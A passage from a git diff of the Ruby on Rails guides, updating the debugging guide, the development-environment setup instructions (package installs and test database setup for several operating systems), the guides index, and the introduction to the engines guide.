breakpoints`: allow a _breakpoints_ list or all of them if no list is +specified, to stop your program. This is the default state when you create a +breakpoint. * `disable breakpoints`: the _breakpoints_ will have no effect on your program. ### Catching Exceptions -The command `catch exception-name` (or just `cat exception-name`) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it. +The command `catch exception-name` (or just `cat exception-name`) can be used to +intercept an exception of type _exception-name_ when there would otherwise be no +handler for it. To list all active catchpoints use `catch`. ### Resuming Execution -There are two ways to resume execution of an application that is stopped in the debugger: - -* `continue` [line-specification] \(or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached. -* `finish` [frame-number] \(or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns. +There are two ways to resume execution of an application that is stopped in the +debugger: + +* `continue` [line-specification] \(or `c`): resume program execution, at the +address where your script last stopped; any breakpoints set at that address are +bypassed. The optional argument line-specification allows you to specify a line +number to set a one-time breakpoint which is deleted when that breakpoint is +reached. +* `finish` [frame-number] \(or `fin`): execute until the selected stack frame +returns. If no frame number is given, the application will run until the +currently selected frame returns. The currently selected frame starts out the +most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been +performed. If a frame number is given it will run until the specified frame +returns. ### Editing Two commands allow you to open code from the debugger into an editor: -* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given. -* `tmate _n_` (abbreviated `tm`): open the current file in TextMate. It uses n-th frame if _n_ is specified. +* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR +environment variable. A specific _line_ can also be given. ### Quitting -To exit the debugger, use the `quit` command (abbreviated `q`), or its alias `exit`. +To exit the debugger, use the `quit` command (abbreviated `q`), or its alias +`exit`. -A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again. +A simple quit tries to terminate all threads in effect. Therefore your server +will be stopped and you will have to start it again. ### Settings -The `debugger` gem can automatically show the code you're stepping through and reload it when you change it in an editor. Here are a few of the available options: - -* `set reload`: Reload source code when changed. -* `set autolist`: Execute `list` command on every breakpoint. -* `set listsize _n_`: Set number of source lines to list by default to _n_. -* `set forcestep`: Make sure the `next` and `step` commands always move to a new line +`byebug` has a few available options to tweak its behaviour: -You can see the full list by using `help set`. Use `help set _subcommand_` to learn about a particular `set` command. +* `set autoreload`: Reload source code when changed (default: true). +* `set autolist`: Execute `list` command on every breakpoint (default: true). +* `set listsize _n_`: Set number of source lines to list by default to _n_ +(default: 10) +* `set forcestep`: Make sure the `next` and `step` commands always move to a new +line. -TIP: You can save these settings in an `.rdebugrc` file in your home directory. The debugger reads these global settings when it starts. +You can see the full list by using `help set`. Use `help set _subcommand_` to +learn about a particular `set` command. -Here's a good start for an `.rdebugrc`: +TIP: You can save these settings in an `.byebugrc` file in your home directory. +The debugger reads these global settings when it starts. For example: ```bash -set autolist set forcestep set listsize 25 ``` @@ -638,38 +803,61 @@ set listsize 25 Debugging Memory Leaks ---------------------- -A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level. +A Ruby application (on Rails or not), can leak memory - either in the Ruby code +or at the C code level. -In this section, you will learn how to find and fix such leaks by using tool such as Valgrind. +In this section, you will learn how to find and fix such leaks by using tool +such as Valgrind. ### Valgrind -[Valgrind](http://valgrind.org/) is a Linux-only application for detecting C-based memory leaks and race conditions. +[Valgrind](http://valgrind.org/) is a Linux-only application for detecting +C-based memory leaks and race conditions. -There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls `malloc()` but is doesn't properly call `free()`, this memory won't be available until the app terminates. +There are Valgrind tools that can automatically detect many memory management +and threading bugs, and profile your programs in detail. For example, if a C +extension in the interpreter calls `malloc()` but doesn't properly call +`free()`, this memory won't be available until the app terminates. -For further information on how to install Valgrind and use with Ruby, refer to [Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/) by Evan Weaver. +For further information on how to install Valgrind and use with Ruby, refer to +[Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/) +by Evan Weaver. Plugins for Debugging --------------------- -There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging: - -* [Footnotes](https://github.com/josevalim/rails-footnotes:) Every Rails page has footnotes that give request information and link back to your source via TextMate. -* [Query Trace](https://github.com/ntalbott/query_trace/tree/master:) Adds query origin tracing to your logs. -* [Query Reviewer](https://github.com/nesquena/query_reviewer:) This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed. -* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master:) Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application. +There are some Rails plugins to help you to find errors and debug your +application. Here is a list of useful plugins for debugging: + +* [Footnotes](https://github.com/josevalim/rails-footnotes) Every Rails page has +footnotes that give request information and link back to your source via +TextMate. +* [Query Trace](https://github.com/ntalbott/query_trace/tree/master) Adds query +origin tracing to your logs. +* [Query Reviewer](https://github.com/nesquena/query_reviewer) This rails plugin +not only runs "EXPLAIN" before each of your select queries in development, but +provides a small DIV in the rendered output of each page with the summary of +warnings for each query that it analyzed. +* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master) +Provides a mailer object and a default set of templates for sending email +notifications when errors occur in a Rails application. +* [Better Errors](https://github.com/charliesome/better_errors) Replaces the +standard Rails error page with a new one containing more contextual information, +like source code and variable inspection. +* [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails +development that will end your tailing of development.log. Have all information +about your Rails app requests in the browser - in the Developer Tools panel. +Provides insight to db/rendering/total times, parameter list, rendered views and +more. References ---------- * [ruby-debug Homepage](http://bashdb.sourceforge.net/ruby-debug/home-page.html) -* [debugger Homepage](http://github.com/cldwalker/debugger) -* [Article: Debugging a Rails application with ruby-debug](http://www.sitepoint.com/article/debug-rails-app-ruby-debug/) -* [ruby-debug Basics screencast](http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/) +* [debugger Homepage](https://github.com/cldwalker/debugger) +* [byebug Homepage](https://github.com/deivid-rodriguez/byebug) +* [Article: Debugging a Rails application with ruby-debug](http://www.sitepoint.com/debug-rails-app-ruby-debug/) * [Ryan Bates' debugging ruby (revised) screencast](http://railscasts.com/episodes/54-debugging-ruby-revised) * [Ryan Bates' stack trace screencast](http://railscasts.com/episodes/24-the-stack-trace) * [Ryan Bates' logger screencast](http://railscasts.com/episodes/56-the-logger) * [Debugging with ruby-debug](http://bashdb.sourceforge.net/ruby-debug.html) -* [ruby-debug cheat sheet](http://cheat.errtheblog.com/s/rdebug/) -* [Ruby on Rails Wiki: How to Configure Logging](http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging) diff --git a/guides/source/development_dependencies_install.md b/guides/source/development_dependencies_install.md index db43d62fcf..9eacc3a2fe 100644 --- a/guides/source/development_dependencies_install.md +++ b/guides/source/development_dependencies_install.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Development Dependencies Install ================================ @@ -5,6 +7,10 @@ This guide covers how to setup an environment for Ruby on Rails core development After reading this guide, you will know: +* How to set up your machine for Rails development +* How to run specific groups of unit tests from the Rails test suite +* How the ActiveRecord portion of the Rails test suite operates + -------------------------------------------------------------------------------- The Easy Way @@ -21,10 +27,10 @@ In case you can't use the Rails development box, see section above, these are th Ruby on Rails uses Git for source code control. The [Git homepage](http://git-scm.com/) has installation instructions. There are a variety of resources on the net that will help you get familiar with Git: -* [Try Git course](http://try.github.com/) is an interactive course that will teach you the basics. +* [Try Git course](http://try.github.io/) is an interactive course that will teach you the basics. * The [official Documentation](http://git-scm.com/documentation) is pretty comprehensive and also contains some videos with the basics of Git -* [Everyday Git](http://schacon.github.com/git/everyday.html) will teach you just enough about Git to get by. -* The [PeepCode screencast](https://peepcode.com/products/git) on Git ($9) is easier to follow. +* [Everyday Git](http://schacon.github.io/git/everyday.html) will teach you just enough about Git to get by. +* The [PeepCode screencast](https://peepcode.com/products/git) on Git is easier to follow. * [GitHub](http://help.github.com) offers links to a variety of Git resources. * [Pro Git](http://git-scm.com/book) is an entire book about Git with a Creative Commons license. @@ -41,33 +47,40 @@ $ cd rails The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests. -Install first libxml2 and libxslt together with their development files for Nokogiri. In Ubuntu that's +Install first SQLite3 and its development files for the `sqlite3` gem. Mac OS X +users are done with: ```bash -$ sudo apt-get install libxml2 libxml2-dev libxslt1-dev +$ brew install sqlite3 ``` -If you are on Fedora or CentOS, you can run +In Ubuntu you're done with just: ```bash -$ sudo yum install libxml2 libxml2-devel libxslt libxslt-devel +$ sudo apt-get install sqlite3 libsqlite3-dev ``` -If you have any problems with these libraries, you should install them manually compiling the source code. Just follow the instructions at the [Red Hat/CentOS section of the Nokogiri tutorials](http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos) . +And if you are on Fedora or CentOS, you're done with -Also, SQLite3 and its development files for the `sqlite3-ruby` gem — in Ubuntu you're done with just +```bash +$ sudo yum install sqlite3 sqlite3-devel +``` + +If you are on Arch Linux, you will need to run: ```bash -$ sudo apt-get install sqlite3 libsqlite3-dev +$ sudo pacman -S sqlite ``` -And if you are on Fedora or CentOS, you're done with +For FreeBSD users, you're done with: ```bash -$ sudo yum install sqlite3 sqlite3-devel +# pkg install sqlite3 ``` -Get a recent version of [Bundler](http://gembundler.com/) +Or compile the `databases/sqlite3` port. + +Get a recent version of [Bundler](http://bundler.io/) ```bash $ gem install bundler @@ -80,7 +93,43 @@ and run: $ bundle install --without db ``` -This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon. With dependencies installed, you can run the test suite with: +This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon. + +NOTE: If you would like to run the tests that use memcached, you need to ensure that you have it installed and running. + +You can use [Homebrew](http://brew.sh/) to install memcached on OS X: + +```bash +$ brew install memcached +``` + +On Ubuntu you can install it with apt-get: + +```bash +$ sudo apt-get install memcached +``` + +Or use yum on Fedora or CentOS: + +```bash +$ sudo yum install memcached +``` + +If you are running on Arch Linux: + +```bash +$ sudo pacman -S memcached +``` + +For FreeBSD users, you're done with: + +```bash +# pkg install memcached +``` + +Alternatively, you can compile the `databases/memcached` port. + +With the dependencies now installed, you can run the test suite with: ```bash $ bundle exec rake test @@ -93,20 +142,27 @@ $ cd actionpack $ bundle exec rake test ``` -If you want to run the tests located in a specific directory use the `TEST_DIR` environment variable. For example, this will run the tests of the `railties/test/generators` directory only: +If you want to run the tests located in a specific directory use the `TEST_DIR` environment variable. For example, this will run the tests in the `railties/test/generators` directory only: ```bash $ cd railties $ TEST_DIR=generators bundle exec rake test ``` -You can run any single test separately too: +You can run the tests for a particular file by using: ```bash $ cd actionpack $ bundle exec ruby -Itest test/template/form_helper_test.rb ``` +Or, you can run a single test in a particular file: + +```bash +$ cd actionpack +$ bundle exec ruby -Itest path/to/test.rb -n test_name +``` + ### Active Record Setup The test suite of Active Record attempts to run four times: once for SQLite3, once for each of the two MySQL gems (`mysql` and `mysql2`), and once for PostgreSQL. We are going to see now how to set up the environment for them. @@ -119,7 +175,19 @@ The Active Record test suite requires a custom config file: `activerecord/test/c #### MySQL and PostgreSQL -To be able to run the suite for MySQL and PostgreSQL we need their gems. Install first the servers, their client libraries, and their development files. In Ubuntu just run +To be able to run the suite for MySQL and PostgreSQL we need their gems. Install +first the servers, their client libraries, and their development files. + +On OS X, you can run: + +```bash +$ brew install mysql +$ brew install postgresql +``` + +Follow the instructions given by Homebrew to start these. + +In Ubuntu just run: ```bash $ sudo apt-get install mysql-server libmysqlclient15-dev @@ -133,14 +201,33 @@ $ sudo yum install mysql-server mysql-devel $ sudo yum install postgresql-server postgresql-devel ``` -After that run: +If you are running Arch Linux, MySQL isn't supported anymore so you will need to +use MariaDB instead (see [this announcement](https://www.archlinux.org/news/mariadb-replaces-mysql-in-repositories/)): + +```bash +$ sudo pacman -S mariadb libmariadbclient mariadb-clients +$ sudo pacman -S postgresql postgresql-libs +``` + +FreeBSD users will have to run the following: + +```bash +# pkg install mysql56-client mysql56-server +# pkg install postgresql93-client postgresql93-server +``` + +Or install them through ports (they are located under the `databases` folder). +If you run into troubles during the installation of MySQL, please see +[the MySQL documentation](http://dev.mysql.com/doc/refman/5.1/en/freebsd-installation.html). + +After that, run: ```bash $ rm .bundle/config $ bundle install ``` -We need first to delete `.bundle/config` because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file). +First, we need to delete `.bundle/config` because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file). In order to be able to run the test suite against MySQL you need to create a user named `rails` with privileges on the test databases: @@ -152,30 +239,53 @@ mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.* to 'rails'@'localhost'; mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.* to 'rails'@'localhost'; +mysql> GRANT ALL PRIVILEGES ON inexistent_activerecord_unittest.* + to 'rails'@'localhost'; ``` and create the test databases: ```bash $ cd activerecord -$ bundle exec rake mysql:build_databases +$ bundle exec rake db:mysql:build ``` -PostgreSQL's authentication works differently. A simple way to set up the development environment for example is to run with your development account +PostgreSQL's authentication works differently. To setup the development environment +with your development account, on Linux or BSD, you just have to run: ```bash $ sudo -u postgres createuser --superuser $USER ``` -and then create the test databases with +and for OS X: + +```bash +$ createuser --superuser $USER +``` + +Then you need to create the test databases with + +```bash +$ cd activerecord +$ bundle exec rake db:postgresql:build +``` + +It is possible to build databases for both PostgreSQL and MySQL with + +```bash +$ cd activerecord +$ bundle exec rake db:create +``` + +You can cleanup the databases using ```bash $ cd activerecord -$ bundle exec rake postgresql:build_databases +$ bundle exec rake db:drop ``` NOTE: Using the rake task to create the test databases ensures they have the correct character set and collation. NOTE: You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator". -If you’re using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails. +If you're using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails. diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml index e779407fab..52de98ee52 100644 --- a/guides/source/documents.yaml +++ b/guides/source/documents.yaml @@ -13,8 +13,8 @@ url: active_record_basics.html description: This guide will get you started with models, persistence to database and the Active Record pattern and library. - - name: Rails Database Migrations - url: migrations.html + name: Active Record Migrations + url: active_record_migrations.html description: This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner. - name: Active Record Validations @@ -32,10 +32,20 @@ name: Active Record Query Interface url: active_record_querying.html description: This guide covers the database query interface provided by Active Record. + - + name: Active Model basics + url: active_model_basics.html + description: This guide covers the use of model classes without Active Record. + work_in_progress: true - name: Views documents: - + name: Action View Overview + url: action_view_overview.html + description: This guide provides an introduction to Action View and introduces a few of the more common view helpers. + work_in_progress: true + - name: Layouts and Rendering in Rails url: layouts_and_rendering.html description: This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials. @@ -68,13 +78,16 @@ - name: Action Mailer Basics url: action_mailer_basics.html - work_in_progress: true description: This guide describes how to use Action Mailer to send and receive emails. - + name: Active Job Basics + url: active_job_basics.html + description: This guide provides you with all you need to get started in creating, enqueueing and executing background jobs. + - name: Testing Rails Applications - url: testing.html work_in_progress: true - description: This is a rather comprehensive guide to doing both unit and functional tests in Rails. It covers everything from 'What is a test?' to the testing APIs. Enjoy. + url: testing.html + description: This is a rather comprehensive guide to the various testing facilities in Rails. It covers everything from 'What is a test?' to the testing APIs. Enjoy. - name: Securing Rails Applications url: security.html @@ -84,10 +97,6 @@ url: debugging_rails_applications.html description: This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code. - - name: Performance Testing Rails Applications - url: performance_testing.html - description: This guide covers the various ways of performance testing a Ruby on Rails application. - - name: Configuring Rails Applications url: configuring.html description: This guide covers the basic configuration settings for a Rails application. @@ -96,29 +105,33 @@ url: command_line.html description: This guide covers the command line tools and rake tasks provided by Rails. - - name: Caching with Rails - work_in_progress: true - url: caching_with_rails.html - description: Various caching techniques provided by Rails. - - name: Asset Pipeline url: asset_pipeline.html description: This guide documents the asset pipeline. - name: Working with JavaScript in Rails - work_in_progress: true url: working_with_javascript_in_rails.html description: This guide covers the built-in Ajax/JavaScript functionality of Rails. - - name: Getting Started with Engines - url: engines.html - description: This guide explains how to write a mountable engine. - work_in_progress: true - - name: The Rails Initialization Process work_in_progress: true url: initialization.html - description: This guide explains the internals of the Rails initialization process as of Rails 3.1 + description: This guide explains the internals of the Rails initialization process as of Rails 4 + - + name: Constant Autoloading and Reloading + url: constant_autoloading_and_reloading.html + description: This guide documents how constant autoloading and reloading work. + - + name: Active Support Instrumentation + work_in_progress: true + url: active_support_instrumentation.html + description: This guide explains how to use the instrumentation API inside of Active Support to measure events inside of Rails and other Ruby code. + - + name: Profiling Rails Applications + work_in_progress: true + url: profiling.html + description: This guide explains how to profile your Rails applications to improve performance. + - name: Extending Rails documents: @@ -135,6 +148,11 @@ name: Creating and Customizing Rails Generators url: generators.html description: This guide covers the process of adding a brand new generator to your extension or providing an alternative to an element of a built-in Rails generator (such as providing alternative test stubs for the scaffold generator). + - + name: Getting Started with Engines + url: engines.html + description: This guide explains how to write a mountable engine. + work_in_progress: true - name: Contributing to Ruby on Rails documents: @@ -151,14 +169,28 @@ url: ruby_on_rails_guides_guidelines.html description: This guide documents the Ruby on Rails guides guidelines. - + name: Maintenance Policy + documents: + - + name: Maintenance Policy + url: maintenance_policy.html + description: What versions of Ruby on Rails are currently supported, and when to expect new versions. +- name: Release Notes documents: - name: Upgrading Ruby on Rails url: upgrading_ruby_on_rails.html - work_in_progress: true description: This guide helps in upgrading applications to latest Ruby on Rails versions. - + name: Ruby on Rails 4.2 Release Notes + url: 4_2_release_notes.html + description: Release notes for Rails 4.2. + - + name: Ruby on Rails 4.1 Release Notes + url: 4_1_release_notes.html + description: Release notes for Rails 4.1. + - name: Ruby on Rails 4.0 Release Notes url: 4_0_release_notes.html description: Release notes for Rails 4.0. diff --git a/guides/source/engines.md b/guides/source/engines.md index 116a7e67cd..731178787f 100644 --- a/guides/source/engines.md +++ b/guides/source/engines.md @@ -1,7 +1,11 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Getting Started with Engines ============================ -In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. +In this guide you will learn about engines and how they can be used to provide +additional functionality to their host applications through a clean and very +easy-to-use interface. After reading this guide, you will know: @@ -16,26 +20,60 @@ After reading this guide, you will know: What are engines? ----------------- -Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the `Rails::Application` class inheriting a lot of its behaviour from `Rails::Engine`. - -Therefore, engines and applications can be thought of almost the same thing, just with very minor differences, as you'll see throughout this guide. Engines and applications also share a common structure. - -Engines are also closely related to plugins where the two share a common `lib` directory structure and are both generated using the `rails plugin new` generator. The difference being that an engine is considered a "full plugin" by Rails as indicated by the `--full` option that's passed to the generator command, but this guide will refer to them simply as "engines" throughout. An engine **can** be a plugin, and a plugin **can** be an engine. - -The engine that will be created in this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application. - -Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as `posts_path` and use an engine also that provides a path also called `posts_path`, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide. - -It's important to keep in mind at all times that the application should **always** take precedence over its engines. An application is the object that has final say in what goes on in the universe (with the universe being the application's environment) where the engine should only be enhancing it, rather than changing it drastically. - -To see demonstrations of other engines, check out [Devise](https://github.com/plataformatec/devise), an engine that provides authentication for its parent applications, or [Forem](https://github.com/radar/forem), an engine that provides forum functionality. There's also [Spree](https://github.com/spree/spree) which provides an e-commerce platform, and [RefineryCMS](https://github.com/resolve/refinerycms), a CMS engine. - -Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks! +Engines can be considered miniature applications that provide functionality to +their host applications. A Rails application is actually just a "supercharged" +engine, with the `Rails::Application` class inheriting a lot of its behavior +from `Rails::Engine`. + +Therefore, engines and applications can be thought of almost the same thing, +just with subtle differences, as you'll see throughout this guide. Engines and +applications also share a common structure. + +Engines are also closely related to plugins. The two share a common `lib` +directory structure, and are both generated using the `rails plugin new` +generator. The difference is that an engine is considered a "full plugin" by +Rails (as indicated by the `--full` option that's passed to the generator +command). We'll actually be using the `--mountable` option here, which includes +all the features of `--full`, and then some. This guide will refer to these +"full plugins" simply as "engines" throughout. An engine **can** be a plugin, +and a plugin **can** be an engine. + +The engine that will be created in this guide will be called "blorgh". This +engine will provide blogging functionality to its host applications, allowing +for new articles and comments to be created. At the beginning of this guide, you +will be working solely within the engine itself, but in later sections you'll +see how to hook it into an application. + +Engines can also be isolated from their host applications. This means that an +application is able to have a path provided by a routing helper such as +`articles_path` and use an engine also that provides a path also called +`articles_path`, and the two would not clash. Along with this, controllers, models +and table names are also namespaced. You'll see how to do this later in this +guide. + +It's important to keep in mind at all times that the application should +**always** take precedence over its engines. An application is the object that +has final say in what goes on in its environment. The engine should +only be enhancing it, rather than changing it drastically. + +To see demonstrations of other engines, check out +[Devise](https://github.com/plataformatec/devise), an engine that provides +authentication for its parent applications, or +[Forem](https://github.com/radar/forem), an engine that provides forum +functionality. There's also [Spree](https://github.com/spree/spree) which +provides an e-commerce platform, and +[RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine. + +Finally, engines would not have been possible without the work of James Adam, +Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever +meet them, don't forget to say thanks! Generating an engine -------------------- -To generate an engine, you will need to run the plugin generator and pass it options as appropriate to the need. For the "blorgh" example, you will need to create a "mountable" engine, running this command in a terminal: +To generate an engine, you will need to run the plugin generator and pass it +options as appropriate to the need. For the "blorgh" example, you will need to +create a "mountable" engine, running this command in a terminal: ```bash $ rails plugin new blorgh --mountable @@ -47,7 +85,11 @@ The full list of options for the plugin generator may be seen by typing: $ rails plugin --help ``` -The `--full` option tells the generator that you want to create an engine, including a skeleton structure by providing the following: +The `--mountable` option tells the generator that you want to create a +"mountable" and namespace-isolated engine. This generator will provide the same +skeleton structure as would the `--full` option. The `--full` option tells the +generator that you want to create an engine, including a skeleton structure +that provides the following: * An `app` directory tree * A `config/routes.rb` file: @@ -56,8 +98,10 @@ The `--full` option tells the generator that you want to create an engine, inclu Rails.application.routes.draw do end ``` - * A file at `lib/blorgh/engine.rb` which is identical in function to a standard Rails application's `config/application.rb` file: - + + * A file at `lib/blorgh/engine.rb`, which is identical in function to a + standard Rails application's `config/application.rb` file: + ```ruby module Blorgh class Engine < ::Rails::Engine @@ -65,19 +109,19 @@ The `--full` option tells the generator that you want to create an engine, inclu end ``` -The `--mountable` option tells the generator that you want to create a "mountable" and namespace-isolated engine. This generator will provide the same skeleton structure as would the `--full` option, and will add: +The `--mountable` option will add to the `--full` option: * Asset manifest files (`application.js` and `application.css`) * A namespaced `ApplicationController` stub * A namespaced `ApplicationHelper` stub * A layout view template for the engine * Namespace isolation to `config/routes.rb`: - + ```ruby Blorgh::Engine.routes.draw do end ``` - + * Namespace isolation to `lib/blorgh/engine.rb`: ```ruby @@ -88,23 +132,32 @@ The `--mountable` option tells the generator that you want to create a "mountabl end ``` -Additionally, the `--mountable` option tells the generator to mount the engine inside the dummy testing application located at `test/dummy` by adding the following to the dummy application's routes file at `test/dummy/config/routes.rb`: +Additionally, the `--mountable` option tells the generator to mount the engine +inside the dummy testing application located at `test/dummy` by adding the +following to the dummy application's routes file at +`test/dummy/config/routes.rb`: ```ruby -mount Blorgh::Engine, at: "blorgh" +mount Blorgh::Engine => "/blorgh" ``` -### Inside an engine +### Inside an Engine -#### Critical files +#### Critical Files -At the root of this brand new engine's directory lives a `blorgh.gemspec` file. When you include the engine into an application later on, you will do so with this line in the Rails application's `Gemfile`: +At the root of this brand new engine's directory lives a `blorgh.gemspec` file. +When you include the engine into an application later on, you will do so with +this line in the Rails application's `Gemfile`: ```ruby gem 'blorgh', path: "vendor/engines/blorgh" ``` -By specifying it as a gem within the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file and requiring a file within the `lib` directory called `lib/blorgh.rb`. This file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) and defines a base module called `Blorgh`. +Don't forget to run `bundle install` as usual. By specifying it as a gem within +the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file +and requiring a file within the `lib` directory called `lib/blorgh.rb`. This +file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) +and defines a base module called `Blorgh`. ```ruby require "blorgh/engine" @@ -113,55 +166,109 @@ module Blorgh end ``` -TIP: Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, and so if you want to offer configuration options, the file where your engine's `module` is defined is perfect for that. Place the methods inside the module and you'll be good to go. +TIP: Some engines choose to use this file to put global configuration options +for their engine. It's a relatively good idea, so if you want to offer +configuration options, the file where your engine's `module` is defined is +perfect for that. Place the methods inside the module and you'll be good to go. Within `lib/blorgh/engine.rb` is the base class for the engine: ```ruby module Blorgh - class Engine < Rails::Engine + class Engine < ::Rails::Engine isolate_namespace Blorgh end end ``` -By inheriting from the `Rails::Engine` class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the `app` directory of the engine to the load path for models, mailers, controllers and views. - -The `isolate_namespace` method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such conflicts are helpers. Without calling `isolate_namespace`, engine's helpers would be included in an application's controllers. - -NOTE: It is **highly** recommended that the `isolate_namespace` line be left within the `Engine` class definition. Without it, classes generated in an engine **may** conflict with an application. - -What this isolation of the namespace means is that a model generated by a call to `rails g model` such as `rails g model post` won't be called `Post`, but instead be namespaced and called `Blorgh::Post`. In addition, the table for the model is namespaced, becoming `blorgh_posts`, rather than simply `posts`. Similar to the model namespacing, a controller called `PostsController` becomes `Blorgh::PostsController` and the views for that controller will not be at `app/views/posts`, but `app/views/blorgh/posts` instead. Mailers are namespaced as well. - -Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the [Routes](#routes) section of this guide. - -#### `app` directory - -Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, `mailers`, `models` and `views` directories that you should be familiar with from an application. The `helpers`, `mailers` and `models` directories are empty and so aren't described in this section. We'll look more into models in a future section, when we're writing the engine. - -Within the `app/assets` directory, there are the `images`, `javascripts` and `stylesheets` directories which, again, you should be familiar with due to their similarity to an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too. - -Within the `app/controllers` directory there is a `blorgh` directory and inside that a file called `application_controller.rb`. This file will provide any common functionality for the controllers of the engine. The `blorgh` directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application. - -NOTE: The `ApplicationController` class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines. - -Lastly, the `app/views` directory contains a `layouts` folder which contains a file at `blorgh/application.html.erb` which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the application's `app/views/layouts/application.html.erb` file. - -If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine. - -#### `script` directory - -This directory contains one file, `script/rails`, which enables you to use the `rails` sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine by running commands like this: +By inheriting from the `Rails::Engine` class, this gem notifies Rails that +there's an engine at the specified path, and will correctly mount the engine +inside the application, performing tasks such as adding the `app` directory of +the engine to the load path for models, mailers, controllers and views. + +The `isolate_namespace` method here deserves special notice. This call is +responsible for isolating the controllers, models, routes and other things into +their own namespace, away from similar components inside the application. +Without this, there is a possibility that the engine's components could "leak" +into the application, causing unwanted disruption, or that important engine +components could be overridden by similarly named things within the application. +One of the examples of such conflicts is helpers. Without calling +`isolate_namespace`, the engine's helpers would be included in an application's +controllers. + +NOTE: It is **highly** recommended that the `isolate_namespace` line be left +within the `Engine` class definition. Without it, classes generated in an engine +**may** conflict with an application. + +What this isolation of the namespace means is that a model generated by a call +to `bin/rails g model`, such as `bin/rails g model article`, won't be called `Article`, but +instead be namespaced and called `Blorgh::Article`. In addition, the table for the +model is namespaced, becoming `blorgh_articles`, rather than simply `articles`. +Similar to the model namespacing, a controller called `ArticlesController` becomes +`Blorgh::ArticlesController` and the views for that controller will not be at +`app/views/articles`, but `app/views/blorgh/articles` instead. Mailers are namespaced +as well. + +Finally, routes will also be isolated within the engine. This is one of the most +important parts about namespacing, and is discussed later in the +[Routes](#routes) section of this guide. + +#### `app` Directory + +Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, +`mailers`, `models` and `views` directories that you should be familiar with 